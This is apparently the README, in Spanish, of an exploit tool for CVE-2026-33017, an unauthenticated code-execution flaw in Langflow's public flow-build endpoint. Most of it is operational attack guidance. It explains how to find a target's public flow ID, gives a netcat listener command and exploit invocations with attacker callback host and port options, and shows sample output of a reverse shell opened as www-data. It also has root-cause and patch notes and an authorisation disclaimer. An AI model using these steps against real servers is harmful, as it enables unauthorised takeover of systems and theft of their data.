
Exploit PoC para CVE-2026-33017: ejecución remota de código no autenticada en Langflow mediante la inyección de un componente personalizado de Python malicioso, con listener de shell inversa integrado.
Autor: dynamo2k1
Severidad: Crítico
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017 es una vulnerabilidad crítica de ejecución remota de código sin autenticación en Langflow, una plataforma de código abierto para crear visualmente aplicaciones LLM y flujos de trabajo de IA.
El endpoint vulnerable build_public_tmp acepta un campo data proporcionado por el atacante en el cuerpo de la solicitud, sin autenticación. Esto permite a un atacante inyectar una definición de flujo completamente personalizada que contiene un componente personalizado malicioso de Python, cuyo código se ejecuta en el servidor durante el proceso de construcción.
No se requieren credenciales. Solo se necesita un UUID de flujo público válido.
| Estado | Versión |
|---|---|
| Vulnerable | Langflow < 1.9.0 |
| Corregida | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
Este endpoint está diseñado para construir flujos públicos (compartidos) sin autenticación. En versiones vulnerables, también acepta un campo data controlado por el atacante en el cuerpo de la solicitud, que se pasa directamente a la lógica de construcción del servidor, incluido cualquier código Python incrustado en componentes personalizados.
pip install requests urllib3
Navega por la instancia de Langflow objetivo y busca un flujo compartido/público. El UUID aparece en la URL:
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
O usa el listener interactivo integrado (no se necesita un nc separado):
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Causa raíz: build_public_tmp confiaba en el campo data del cuerpo de la solicitud en lugar de usar únicamente la definición de flujo almacenada en el servidor.
Parche: En Langflow 1.9.0, el parámetro data se eliminó de build_public_tmp. Las definiciones de flujo externas ya no se pueden inyectar a través de este endpoint.
Commit del parche: 73b6612
Este PoC se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. Úsalo solo contra sistemas que poseas o para los que tengas permiso explícito por escrito para probar.
| Opción | Descripción |
|---|
--url | URL base de Langflow objetivo |
--flow-id | UUID de flujo público |
--lhost | Tu IP para el callback de la reverse shell |
--lport | Tu puerto de listener |
--listen | Usa el manejador de shell integrado en lugar de nc externo |
--timeout | Tiempo de espera de la solicitud HTTP en segundos (por defecto: 30) |